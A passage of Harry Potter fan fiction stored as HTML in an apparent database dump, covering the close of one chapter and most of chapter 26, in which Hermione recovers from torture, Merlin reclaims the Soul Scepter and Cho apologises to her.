ran towards them as the Death Eater apparated away.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh thank the fates you&#8217;re all, all right. What happened to\nHermione?&#8221; He was in shock at seeing Harry carrying Hermione was unconscious\nand not to mention badly. He couldn&#8217;t help it as his eyes started swelling with\ntears. &#8220;Oh, poor Hermione.&#8221; Hagrid sniffled; he\nnoticed that none of them were saying anything.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The six of them started walking towards the school and\nHagrid felt concerned for Harry, he seemed to be straining himself as he was in\nbad shape as well.&nbsp; &#8220;Why don&#8217;t you let me\ntake her Harry.&#8221; Hagrid offered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; Harry answered a little too quickly. &#8220;I&#8217;m fine\nreally.&#8221; He tried to sound reassuring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;If you&#8217;re sure Harry cause you\nlook a little&#8212;&#8221; Harry cut off Hagrid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Really Hagrid, thanks for your concern but I&#8217;m fine.&nbsp; Honestly.&#8221; He smiled a little to show that\neverything was all right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They walked up the steps of Hogwarts and Hagrid pulled the\ndoors open and the six of them stepped inside.&nbsp;\nA loud clanking bang was heard making the six of them turn their\nheads.&nbsp; They found Cho Chang had dropped\nher cauldron.&nbsp; It looked like she was on\nher way to potions&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh my God what happened?&#8221; Cho said in utter concern seeing\nHarry carrying Hermione, they were both in bad shape, Hermione was in worse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m sorry Cho there&#8217;s no time to talk I have to get\nHermione and myself to the hospital wing.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Cho watched as the six of them started up the stairs, she forgot all about her cauldron and quickly ran into\nThe Great Hall where she found Professors Snape and McGonagall.&nbsp; &#8220;Professors come quick,\nHarry&#8212;and&#8230;&#8221; She couldn&#8217;t finish her sentence and the professors raced out of\nThe Great Hall they saw six people who all looked sore and broken heading up\nthe stairs.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Snape and McGonagall rushed up the stairs.&nbsp; The teenagers all looked in bad shape, but\nthey had to keep calm for the student&#8217;s sake.&nbsp;\nSnape rushed up the stairs quickly heading towards Dumbledore&#8217;s\ngargoyle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">McGonagall opened the door to the hospital wing and they\nstepped inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">It was a very quiet night as Cho, who was very cautious,\nsnuck out of her common room, and she quickly wandered down the hall towards\nthe hospital wing.&nbsp; She opened the door\nwith it not even making a squeak and she snuck inside.&nbsp; She quietly closed the door behind her, there\nwere six students lying in beds next to each other.&nbsp; She looked at both Harry and Hermione who\nwere sleeping peacefully.&nbsp; Harry&#8217;s\nhospital bed was pushed so close to Hermione&#8217;s and his hand was securely around\nHermione&#8217;s hand it looked like he had quite a grip and wasn&#8217;t going to let\ngo.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Feelings slightly jealous of their being so close together,\nCho wondered if their beds&#8217; being pushed together like that was allowed.&nbsp; She had no right to be jealous she told\nherself.&nbsp; They had been through quite a\nbit, they deserve each other.&nbsp; Cho sucked\nin a breath, guilt was overcoming her now all those horrible things she had\nsaid and done. She looked away for a moment trying to will herself\nfrom the tears threatening to fall.&nbsp; She\nglanced back at Harry and Hermione; of course it takes something like this for\nthe little, petty things to not be so important.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Cho promised herself right there, that she would not take\nher anger and frustration out on Hermione Granger anymore.&nbsp; She looked at Harry who was stirring\nslightly. It was time to be honest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">=====</p>\n\n<p>Well was that an action filled chapter or what? Stay tuned for chapter\n26&#8212;One Day At A Time.&nbsp;\nPlease read and review, thanks Ryoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 26, ' <p>Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin. Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything ;) </p>\n\n<p>Chapter 26&#8212;One Day At A Time</p>\n\n<p>While carrying a tray of cures and medicines for the exhausted and hurt students, Madame Pomfrey entered the hospital from her office. She moved quickly towards where the students were laid up in, she almost dropped her tray seeing that two beds had been pushed together. She shook her head in disappointment. She saw Harry lift his head looking at her; he was awake.</p>\n\n<p>Madame Pomfrey stepped closer to Harry with a stern look on her face. &#8220;Mr. Potter this,&#8221; she was pointing to the arrangement of the beds, &#8220;is not allowed.&#8221;</p>\n\n<p>&#8220;I just wanted to make sure that she is safe.&#8221; Harry whispered.</p>\n\n<p>&#8220;Miss Granger is just fine.&#8221; Madame Pomfrey said.</p>\n\n<p>&#8220;That&#8217;s why she woke up with a screaming fit last night; she&#8217;s just fine is she?&#8221;</p>\n\n<p>Madame Pomfrey did have to give Hermione a dreamless sleep potion last night; she then thought that maybe after she had left them to sleep that Harry had pushed his bed close to Hermione&#8217;s. It was a sweet gesture; Madame Pomfrey almost smiled, but she kept it away. This was still against the rules. &#8220;I am sorry, but I just can not allow this.&#8221;</p>\n\n<p>The door to the hospital opened and Dumbledore along with Professors Snape, and McGonagall stepped inside. They approached a furious looking Madame Pomfrey.</p>\n\n<p>&#8220;What seems to be the trouble Poppy?&#8221; Dumbledore asked with a polite smile.</p>\n\n<p>Madame Pomfrey pointed to Harry and Hermione&#8217;s beds having been pushed together, well more likely Harry had pushed his next to Hermione&#8217;s. &#8220;That sir, it is against the rules.&#8221;</p>\n\n<p>&#8220;It&#8217;s alright for now Poppy, they have been through quite and ordeal and I&#8217;m sure once we get back on track here, they won&#8217;t be doing that anymore at all.&#8221; Dumbledore then looked at Harry, &#8220;and I doubt that Mr. Potter here is going to take advantage of Miss Granger.&#8221; He gave Harry a tiny wink and Harry felt himself smile on the inside. </p>\n\n<p>Dumbledore was about to say something else, when Lavender along with Susan Bones from Hufflepuff rushed in through the door. </p>\n\n<p>Lavender stood in shock at the site of Hermione, &#8220;Oh what happened to her?&#8221; She looked up at Harry, and then at everyone else who was sleeping in the hospital wing. &#8220;What happened to all of you? I had to hear from Cho Chang that you all were in the hospital.&#8221;</p>\n\n<p>The sleeping students were waking from Lavender&#8217;s worried tone and high-pitched voice. When she got over excited about something her voice would raise to high pitches. She really couldn&#8217;t control it.</p>\n\n<p>&#8220;It sounds like someone&#8217;s strangling a cat.&#8221; Draco said as he opened his eyes.</p>\n\n<p>&#8220;Shut up Malfoy.&#8221; Ron said, as he too was now awake.</p>\n\n<p>&#8220;Yeah shut up you have no reason to be talking.&#8221; Zara said backing up Ron.</p>\n\n<p>&#8220;Oh put a sock in it Zara, I&#8217;m still pretty miffed at you for what went down back there.&#8221; Ginny said as she lifted herself to a sitting position.</p>\n\n<p>&#8220;Be quiet all of you.&#8221; Harry said while turning his head to face them. &#8220;Don&#8217;t wake Hermione she&#8217;s had a bad enough night as it is. It would be rude to keep on arguing and waking her.&#8221; He said as quietly as he could.</p>\n\n<p>He felt fingers against his cheek and he turned his head seeing Hermione looking up at him.</p>\n\n<p>&#8220;Harry it&#8217;s fine, I&#8217;m already awake.&#8221; She cleared her throat. &#8220;Sorry, my throat is a little sore.&#8221;</p>\n\n<p>Harry with a smile took her hand in his and kissed her fingers. He forgot that there were professors in the room until he heard Dumbledore clear his throat. Hermione began to rise to a sitting position. </p>\n\n<p>&#8220;So.&#8221; Dumbledore said with a smile. &#8220;Now that you are all awake, there are a few questions we need to ask you.&#8221;</p>\n\n<p>&#8220;What is it that you need Headmaster?&#8221; Hermione&#8217;s voice was low.</p>\n\n<p>&#8220;Well first of all I need to ask you Miss Granger about what happened, I know it&#8217;s going to be hard to talk about but I need you to tell me exactly what you went through and who tortured you so that I can report it to Minister Fudge. This time I will see to it that he acts accordingly.&#8221; He heard Harry scoff.</p>\n\n<p>Hermione nodded she looked over at Lavender who sat down on the end of the bed; she took a deep breath and began her tale.</p>\n\n<p>A few days went by everyone was permitted to leave the Hospital Wing except Hermione, Madame Pomfrey still needed to monitor all the healing processes, Ginny even worked in there some of the time at helping to heal Hermione. </p>\n\n<p>After Ginny gave Hermione some of the Dreamless Sleep potion she placed the half empty cup on the small table. Hermione finally fell asleep -- the fourth dreamless sleep in a row.</p>\n\n<p>Hours of troubled sleep went by for her. The sounds of something scraping finally woke Hermione from her dreamless slumber, and she opened her eyes. After they focused from the hours of sleep she was able to see Harry scribbling on a piece of parchment, it looked like it was in a Muggle notebook. She hadn&#8217;t seen too many of those around, in fact she hasn&#8217;t seen any of them at all since she had been going to school here. Something else was different as well, instead of using a quill he was using a Muggle pencil he actually had a few of them of all different shades on the small table next to him.</p>\n\n<p>She watched him for a moment. Hermione wanted to speak to let him know she was awake, but her throat hurt so much from the rough sleep she had been having. She saw his eyes shift to her and the parchment dropped a bit, he gave her a tiny smile. She couldn&#8217;t help herself from smiling back at him.</p>\n\n<p>&#8220;Glad to see you awake.&#8221; Harry said softly.</p>\n\n<p>Hermione just nodded, she pointed to his parchment. &#8220;What are you doing there?&#8221; She asked, her throat felt scratchy and her voice came out strained. She saw Harry smile and he turned the notebook over to reveal her sleeping. &#8220;That&#8217;s me.&#8221; She said in awe as she was handed the notebook. Hermione glanced at a pencil drawing her of herself, it was shaded nicely and the picture looked almost perfect.</p>\n\n<p>&#8220;Yep, it&#8217;s you.&#8221; He said with a silly grin on his face.</p>\n\n<p>&#8220;I didn&#8217;t know you could draw.&#8221; Hermione said trying to clear her throat, she pressed her hand around her neck as the tried to swallow, it felt harsh and sore.</p>\n\n<p>&#8220;Yeah well I had to do something to keep me from going insane while living with the Dursleys.&#8221; He said with half a grin while Hermione handed him his notebook back. He took it from her.</p>\n\n<p>&#8220;It&#8217;s really good.&#8221; She said even quieter.</p>\n\n<p>&#8220;It doesn&#8217;t compare to the real thing.&#8221; He leaned over and gave her a soft kiss on the forehead.</p>\n\n<p>&#8220;I&#8217;m going to go back to sleep now, is there anymore of that dreamless potion on the table there?&#8221; She pointed to the cup sitting on the table</p>\n\n<p>Harry sighed, &#8220;Hermione this is for emergencies, you shouldn&#8217;t have it all the time.&#8221; </p>\n\n<p>Hermione&#8217;s eyes were swelling with tears, &#8220;I don&#8217;t want to dream Harry. It&#8217;s always there, they are always there. He,&#8221; She took a breath, &#8220;is always there.&#8221; Hermione looked him straight in the eye.</p>\n\n<p>Harry hesitated a moment but gave into what she wanted; he reached over and picked up the cup. He held it to her and she accepted it, drinking down the last of the contents.</p>\n\n<p>&#8220;Thank you Harry.&#8221; She said quietly as she nestled over on her side, looking at him one last time before closing her eyes to sleep.</p>\n\n<p>Harry took in a breath and continued with shading his picture; he barely heard the door to the hospital open. He was busy concentrating that he didn&#8217;t know someone had come into the room.</p>\n\n<p>A hand came down on Harry&#8217;s shoulder; he looked up and found the friendly gaze of Ron. He sat down his pad and Muggle pencil in his lap so he could give Ron his attention.</p>\n\n<p>&#8220;Harry, you really should come and get some dinner.&#8221; Ron said softly as not to wake Hermione.</p>\n\n<p>&#8220;No, I&#8217;m alright. Not really very hungry.&#8221; Harry glanced about Hermione&#8217;s peaceful face. &#8220;She asked me give her that dreamless sleep potion again.&#8221;</p>\n\n<p>Ron sighed, his friends were unhappy, he understood Harry wanting to stay in here all the time with her, even in between classes. But he was even missing meals; it started to worry Ron to no end. He had to say something to him, &#8220;Hermione wouldn&#8217;t want you to worry yourself sick Harry, come down get some dinner. You&#8217;ll feel better with a full stomach.&#8221; Ron said with a smile.</p>\n\n<p>Harry shifted in his seat looking up at Ron, his friend was right. &#8220;All right then. Just give me a minute and I&#8217;ll be right down.&#8221;</p>\n\n<p>Ron nodded and moved towards the door, he took one last look at Harry who was leaning forward in his chair. Ron opened the door and left the hospital.</p>\n\n<p>Harry stood setting his pad on the small table; he leaned over for a moment brushing Hermione&#8217;s hair out of her face. He placed a tiny kiss on her forehead, and stood to his full height. He heard his stomach growl and he gave off a tiny grin, yep it was definitely time to get something to eat. He started for the door and opened it just as Madame Pomfrey walked out of her office to attend to Hermione. Harry left the hospital wing and headed down to get something to fill his angry stomach.</p>\n\n<p>Hermione had recovered enough to be able to leave the hospital wing and go back to attending to her classes, she was still as focused as ever but whenever bedtime rolled around she would try her hardest not to sleep. Madame Pomfrey had forbid her from ever taking the dreamless sleep potion without her consent. Nights were rough for Hermione.</p>\n\n<p>She tossed and turned shouting into the night, her screams filled the girl&#8217;s dorm so loudly that it even wrung through the entire tower as well. Hermione woke to a violent shaking of her person. She opened her eyes and sat straight up. She was relieved to see Lavender had come to her side and was the one waking her. Lavender sat down and Hermione immediately threw her arms around her friend. </p>\n\n<p>Lavender embraced her friend tighter, trying to soothe her violent shaking and tears. &#8220;It&#8217;s alright Herm. You&#8217;re here now, safe with us.&#8221; She spoke quietly.</p>\n\n<p>A few lamps had been lit about the room and Zara had come into view. Not even a moment later the door to the girl&#8217;s dorm flew open and Harry followed by Ron, Seamus and Neville rushed inside.</p>\n\n<p>Harry saw Lavender holding onto Hermione, he was grateful that they had become good friends over the past few years. Harry swiftly moved towards Lavender and Hermione. </p>\n\n<p>Lavender knew the routine, she would get Hermione off of her and Harry would take her place. She sighed while attempting to pry Hermione from her. Hermione&#8217;s arms were tight around her neck; she did have quite a grip as if she were afraid to let go. &#8220;Hermione, let go you&#8217;re choking me.&#8221; Lavender said with her voice cutting off. &#8220;Harry&#8217;s here, choke him.&#8221; </p>\n\n<p>Hermione&#8217;s eyes snapped open and she saw Harry standing before her. Her arms immediately dropped from around Lavender who quickly got off of the bed. Harry sat down and once again Hermione flung her arms around him.</p>\n\n<p>&#8220;He was there again.&#8221; Hermione said; her voice was muffled for her face was buried into his chest.</p>\n\n<p>&#8220;Who was there?&#8221; He smoothed the back of her hair with gentle fingers, &#8220;Salazar Slytherin?&#8221;</p>\n\n<p>&#8220;No.&#8221; She shook her head.</p>\n\n<p>&#8220;Voldemort?&#8221; Harry heard gasps from around the room, but that name didn&#8217;t even seem to faze her anymore. He felt her shake her head no again. There was only one person left that it could be, but he had to be sure. &#8220;Luci&#8212;&#8221; Harry was cut off by Hermione abruptly placing her fingers against his lips.</p>\n\n<p>&#8220;Don&#8217;t say that name.&#8221; Hermione said, her eyes were wide with fear. She felt cold ice travel down her spine and it caused her to shiver.</p>\n\n<p>Harry pulled her more into his embrace so that she was actually sitting in his lap. &#8220;He can&#8217;t hurt you anymore Hermione, Malfoy said he,&#8221; Harry leaned closer to her ear. &#8220;killed him, you have no reason to fear.&#8221; Harry paused for a moment trying to come up with something to call Lucius Malfoy. &#8220;You don&#8217;t need to fear Him.&#8221;</p>\n\n<p>&#8220;Can we cut with the chatter already, some of us have class in the morning.&#8221; A very annoyed Parvati covered her face with a pillow. </p>\n\n<p>&#8220;Oh be quiet Parvati, go back to sleep.&#8221; Lavender was aggravated.</p>\n\n<p>Parvati dropped the pillow from her face and looked pointedly at Hermione. &#8220;Well if someone didn&#8217;t wake me up during the night perhaps I could actually get a decent night&#8217;s sleep for a change.&#8221; </p>\n\n<p>&#8220;Hey, it&#8217;s not her fault.&#8221; Lavender glared at her once best friend, &#8220;Let see how you stand up to having gone through what Hermione did. Can&#8217;t you have a little compassion?&#8221;</p>\n\n<p>&#8220;Why doesn&#8217;t she have any compassion for me, she&#8217;s been doing this for the past two weeks, waking me up with her pitiful screams.&#8221; Parvati glared at Hermione.</p>\n\n<p>Boy if Harry had been a girl he would have slapped her or worse, he was so angry. But he couldn&#8217;t leave Hermione&#8217;s side. He needed to stay with her. </p>\n\n<p>&#8220;It&#8217;s enough to make me want to&#8212;&#8221; Parvati was silenced when Lavender&#8217;s palm connected with her cheek, hard. Parvati was so stunned that all she could do was stare at Lavender.</p>\n\n<p>&#8220;Shut up, you have no right to sit there and preach about compassion. Where&#8217;s yours huh? Here have a lesson on compassion Parvati.&#8221; Lavender grabbed the girl by the back of the neck and pulled her out the bed and practically threw her to the floor. The other girls and the guys gasped in horror at Lavender&#8217;s strength when she was mad. She had only acted like this once before with Parvati, which ended their friendship. Lavender had been seeing a nice young man for a while and Parvati wanted him too. After classes one day Lavender had walked up to the girl&#8217;s dorm and found a most horrifying site. </p>\n\n<p>There was she looking at herself on the bed with her boyfriend. She disturbed couple turned to the door to find Lavender starring back at them, the poor boy was so confused that he just quietly gathered up his clothing and left the room. It was confirmed a few seconds later that Parvati had used Polyjuice potion to look just like Lavender. From that moment on, their friendship had been dissolved.</p>\n\n<p>Lavender pulled Parvati by the back of the neck over to Hermione&#8217;s bedside. She glanced up at Hermione. And with a sweet voice Lavender asked, &#8220;Hermione, legs straight please.&#8221;</p>\n\n<p>Hermione took in a breath, she was still sitting in Harry&#8217;s lap but she shifted a bit so that her legs could hang straight off the bed, Harry had to shift so that his legs opened a bit to give Hermione&#8217;s legs a little more room. </p>\n\n<p>Lavender unbuttoned Hermione&#8217;s nightgown so that it split down the side. She turned to the boys next to the door. &#8220;If you don&#8217;t want to see this, shield your eyes. It&#8217;s not pretty.&#8221; She looked up at Hermione regretfully &#8220;Sorry.&#8221;</p>\n\n<p>Hermione nodded, it was all right, and she knew it wasn&#8217;t a site to behold. She watched as Lavender parted the nightgown giving Parvati a horrible view, and she tried to look away.</p>\n\n<p>&#8220;Oh no Parvati get a good look,&#8221; Lavender grabbed the back of Parvati&#8217;s neck again forcing her to face Hermione.</p>\n\n<p>Parvati saw about fifty gashes on her right leg and about the same amount of her left leg. They still looked pretty deep which was probably why it was taking so long to heal.</p>\n\n<p>Lavender looked down at Parvati, &#8220;Oh the torturer used a knife about this big to do that.&#8221; She said measuring it out with her fingers. &#8220;Do you want to know what else he did?&#8221; Lavender said with a tinge of sadness in her voice. She saw Hermione slam her palms over her ears trying to block out her voice; Lavender knew it was okay for her to continue. She looked down at Parvati, &#8220;He drank her blood, and I&#8217;m not talking just a little bit. It was quite a lot.&#8221; Her voice was growing in anger. &#8220;There was so much more that they did to her.&#8221;</p>\n\n<p>&#8220;Lavender please, I&#8212;I&#8217;ve had enough.&#8221; Parvati said looking down at the floor, looking up at Hermione&#8217;s cuts, her gaze then returned to the floor where she caught a quick glimpse of Hermione&#8217;s feet and turned away.</p>\n\n<p>&#8220;Yeah well when Hermione had enough they still continued. Why should you be treated any different?&#8221;</p>\n\n<p>&#8220;I&#8217;m sorry alright,&#8221; Parvati said in desperation, &#8220;I&#8212;I didn&#8217;t really realize what had happened and I&#8217;m sorry. I didn&#8217;t think&#8212;&#8221; She was cut off.</p>\n\n<p>&#8220;That&#8217;s right you didn&#8217;t think.&#8221; Ron said from the door. He looked at Harry, &#8220;Come on Harry bring Hermione to our dorm, she can try to get some sleep in there with us. I&#8217;m afraid that if we leave her in here, Patil might suffocate her with a pillow.&#8221; Ron said in anger, his tone was bitter. </p>\n\n<p>&#8220;Yeah, all right.&#8221; Harry said glaring at Parvati who was finally getting up off the floor to return to her bed. Hermione and Harry stood from her bed.</p>\n\n<p>Harry waited for Hermione to button her nightgown back together before he ushered her from the room, the boys followed after them, Seamus winked to Lavender and she gave him a tiny smile he closed the door behind him.</p>\n\n<p>Hermione crawled into Harry&#8217;s bed with him, and he pulled the blankets over them and snuggled close to her. She turned over, looking at him.</p>\n\n<p>&#8220;What about Professor McGonagall, Harry?&#8221; Hermione said with a slight worried tone in her voice.</p>\n\n<p>&#8220;We&#8217;ll worry about that if she comes to bother us, okay?&#8221; Harry sighed, &#8220;I am so sorry Hermione.&#8221;</p>\n\n<p>Feeling very confused, Hermione leaned in more. &#8220;What have you to be sorry for?&#8221;</p>\n\n<p>&#8220;For all of this happening to you.&#8221; He lowered his gaze from hers.</p>\n\n<p>Hermione quickly cupped his face in her hands, forcing him to look her in the eyes. &#8220;You listen to me Harry. You are not responsible for this, not at all.&#8221; Her voice was gentle but firm. &#8220;There is no way you could have prevented this from happening anymore then I could.&#8221;</p>\n\n<p>&#8220;I just feel I let you down.&#8221; Harry said trying to keep his emotions in check.</p>\n\n<p>&#8220;You could never let me down Harry, never.&#8221; Hermione lightly rubbed his cheeks with her thumbs.</p>\n\n<p>Harry really wanted to kiss her right now, but he held himself back. She was struggling with so much right now that he didn&#8217;t want to put any unwanted pressure on her mind. So instead, he pulled her closer so that her head was pressed in between his neck and shoulder. He tightened his arms around her. &#8220;Try to get some sleep.&#8221; He whispered and he felt her nod.</p>\n\n<p>After a few minutes the room was very quiet and Hermione finally found sleep, that wasn&#8217;t interrupted. Since it was close to when they would wake up anyway the dreams didn&#8217;t haunt her so easily. She slept a dreamless sleep without the potion.</p>\n\n<p>They were right at the end of their Transfiguration class when Filch poked his head into the classroom. &#8220;Headmaster Dumbledore needs to see Harry Potter and Hermione Granger immediately.&#8221; He said looking right at Professor McGonagall. She nodded and the two students left her class.</p>\n\n<p>On their way to Dumbledore&#8217;s, Hermione&#8217;s mind was going crazy, were they going to be expelled. She tugged on Harry&#8217;s arm &#8220;Do you think the Headmaster knows about me staying in your room every night?&#8221;</p>\n\n<p>Harry turned and saw the feared look in her eyes, &#8220;I think he knows about everything that goes on in the school; I wouldn&#8217;t be surprised.&#8221;</p>\n\n<p>&#8220;Do you think we&#8217;re in trouble?&#8221; Hermione bit down on her bottom lip.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Harry said.</p>\n\n<p>They reached the gargoyle and Filch spoke the password, he let them go on their own this time. </p>\n\n<p>Harry and Hermione waited by Dumbledore&#8217;s door, Hermione was about to knock when they heard a voice telling them to come inside. The two of them walked into the room and saw Dumbledore sitting behind his desk, with a small smile upon his lips. Sitting on the desk in front of him was the Soul Scepter. </p>\n\n<p>Hermione&#8217;s eyes went wide seeing it lying there, it looked just like a clear stick, who knew that I can control anything, and do anything.</p>\n\n<p>&#8220;Ah, it&#8217;s good to see you students, how are classes going?&#8221; Dumbledore asked with a tiny smile.</p>\n\n<p>Harry and Hermione gave each other an odd look then, looked at Dumbledore with the same. </p>\n\n<p>&#8220;They are&#8212;going well.&#8221; Hermione answered.</p>\n\n<p>&#8220;Sir, is there a reason why you called us here?&#8221; Harry still felt a bit confused.</p>\n\n<p>&#8220;Oh yes, yes of course.&#8221; Dumbledore stood from his chair; he lifted his hand and gave some kind of signal. &#8220;An old friend of mine came by to pay you a visit. And when I mean old friend, I certainly mean old friend.&#8221; He smiled.</p>\n\n<p>To their surprise Merlin came through the into the office area wearing a big smile on his face. &#8220;Come now Albus I&#8217;m certainly not that old.&#8221; Merlin chuckled, &#8220;Only a century at the least.&#8221; </p>\n\n<p>Hermione felt even more confused now, &#8220;Headmaster how can you possibly know Merlin, I mean he&#8217;s been living in that village.&#8221;</p>\n\n<p>Dumbledore chuckled a bit, &#8220;We&#8217;re old owl pals, ever since I got the Order of Merlin, we&#8217;ve been communicating back and forth for quite some time now.&#8221;</p>\n\n<p>Merlin turned to face Dumbledore, &#8220;Would you mind if I had a few words with your students in private?&#8221;</p>\n\n<p>&#8220;Not at all, I&#8217;ll be wandering about if you need anything.&#8221; And with that Dumbledore left the office.</p>\n\n<p>Harry and Hermione sat down in front of the desk. </p>\n\n<p>&#8220;Why are you here?&#8221; Harry asked.</p>\n\n<p>&#8220;I go where I am needed, and besides Albus informed me that the Soul Scepter and all of your belongings had been returned to Hogwarts anonymously. I&#8217;ve come to take the scepter back.&#8221;</p>\n\n<p>&#8220;Sir if this scepter is such a threat then why is it still around, why did you create it in the first place?&#8221; Hermione leaned forward in her chair.</p>\n\n<p>Merlin nodded, &#8220;I had created it for King Arthur to use in battle, it was actually created for Muggle use. His illegitimate son got a hold of it and if I hadn&#8217;t stepped in quickly he would have had the world at his feet. So I then changed it for only one person, or as I have witnessed two people at once to use it.&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t you just destroy it to begin with, that would have saved us a lot of trouble you know.&#8221; Harry said, feeling slightly irritated.</p>\n\n<p>&#8220;King Arthur wanted to keep it around in case the need for it ever arose. But now I think it should just be destroyed, so I&#8217;m going to take it back to my cave and eliminate it.&#8221;</p>\n\n<p>Hermione caught what Merlin said, &#8220;How could you witness us using it like that, you would have had to be there.&#8221;</p>\n\n<p>&#8220;No I witnessed from afar.&#8221;</p>\n\n<p>Hermione&#8217;s eyes started to swell with tears, &#8220;Then why didn&#8217;t you help us?&#8221; She felt a hand come down tenderly upon hers.</p>\n\n<p>&#8220;I&#8217;m not permitted to interfere; it was one of the rules placed upon me for ever lasting life. I can only observe and offer advice.&#8221; He saw the tear glide down her cheek. &#8220;I have seen the future Miss Granger, if I was to interfere directly it can have a great impact on what the outcome is going to be. I can not take that chance.&#8221;</p>\n\n<p>Hermione nodded in understanding, &#8220;I&#8217;ve survived something so unimaginable that I can&#8217;t even sleep at night, is there a spell or something I can use to get rid of these memories, these nightmares?&#8221;</p>\n\n<p>Merlin shook his head in sympathy for her pain. &#8220;I&#8217;m afraid not my dear, this is something magic can not fix. Sure we could mask it for a while, but then it would still be there and it would find its way back to you. It&#8217;s better if you face it and work your way past it.&#8221; </p>\n\n<p>&#8220;How can I do that?&#8221; Hermione glanced down at Harry&#8217;s hand still on hers.</p>\n\n<p>&#8220;Just, take it one day at a time. That&#8217;s all you can really do. You have such good friends, they will help you get through this trying time.&#8221; Merlin said, hoping that she understood.</p>\n\n<p>Hermione sniffled a bit and looked at Harry, &#8220;Harry what time is it?&#8221;</p>\n\n<p>Harry lifted his wrist, &#8220;About eleven forty.&#8221;</p>\n\n<p>&#8220;I need to go in and see Madame Pomfrey so she can continue healing my wounds.&#8221; Hermione stood.</p>\n\n<p>&#8220;Do you want me to go with you?&#8221; Harry offered.</p>\n\n<p>&#8220;No, no I can go alone.&#8221; Hermione said.</p>\n\n<p>&#8220;You shouldn&#8217;t have to go alone Hermione.&#8221;</p>\n\n<p>&#8220;Really Harry you don&#8217;t have to go with me, Madame Pomfrey will just shoo you out anyway.&#8221; She said with half a smile.</p>\n\n<p>&#8220;You&#8217;re right, okay then I&#8217;ll see you at lunch.&#8221; Harry returned the smile. And Hermione left the office.</p>\n\n<p>She headed towards the hospital wing and Madame Pomfrey took care of her, she told her the wounds were looking well and only another week or so until she was completely healed. Hermione thanked the nurse and headed down to lunch, she was stopped on the landing by none other then Cho Chang.</p>\n\n<p>&#8220;There you are, I&#8217;ve been looking for you.&#8221; Cho said.</p>\n\n<p>Hermione rolled her eyes, &#8220;And why would you be looking for me?&#8221; She was very annoyed right now.</p>\n\n<p>&#8220;I just wanted to talk to you a moment, do you think we could take a walk?&#8221; Cho offered with an actual smile.</p>\n\n<p>After taking a deep breath, Hermione regarded Cho oddly wondering what she could possibly want. &#8220;I suppose.&#8221; Hermione replied and followed Cho out onto the grounds. &#8220;What did you want to talk to me about?&#8221;</p>\n\n<p>Cho hesitated a moment before answering, &#8220;I just wanted to say I&#8217;m sorry.&#8221;</p>\n\n<p>&#8220;For what?&#8221; Hermione felt this was odd, Cho never apologized for anything.</p>\n\n<p>&#8220;Well for basically treating you like crap, I&#8217;m so sorry about that.&#8221;</p>\n\n<p>Hermione lifted her fingers to her sinuses, &#8220;Why are you apologizing to me, is this some kind of joke?&#8221; Her voice rising to an angry pitch &#8220;You have always hated me, so this must be some weird plot to torment me some more, I&#8217;ve already been through enough I don&#8217;t need any more tormenting and teasing.&#8221; She turned to go.</p>\n\n<p>&#8220;I&#8212;I never hated you, Hermione.&#8221; Cho said quietly.</p>\n\n<p>&#8220;What?&#8221; Hermione spun around, &#8220;What did you say?&#8221;</p>\n\n<p>&#8220;I said I never hated you,&#8221; Cho took a breath. &#8220;Alright that&#8217;s not entirely true, I hated you for other reasons, not ones you might know about.&#8221;</p>\n\n<p>&#8220;I&#8217;m confused, first you say you don&#8217;t hate me, but now you say you do?&#8221; Hermione scoffed, &#8220;now I&#8217;m not even making any sense to myself.&#8221;</p>\n\n<p>Cho closed her eyes a moment, she had to get her thoughts in order, she opened them looking up into Hermione&#8217;s face. &#8220;I hated the fact that after we all knew you were the smartest witch in Hogwarts that you were sorted into Gryffindor and not Ravenclaw.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad I wasn&#8217;t sorted into Ravenclaw.&#8221; Hermione said under her breath, not even loud enough for Cho to hear her.</p>\n\n<p>&#8220;I also hated the fact that at the Yule Ball during your fourth year, that you looked so pretty.&#8221;</p>\n\n<p>&#8220;So you thought I was better looking than you?&#8221; Hermione felt that this girl was just going to list out all the things she hated about her.</p>\n\n<p>&#8220;No,&#8221; She sighed looking up towards the sky. &#8220;Oh 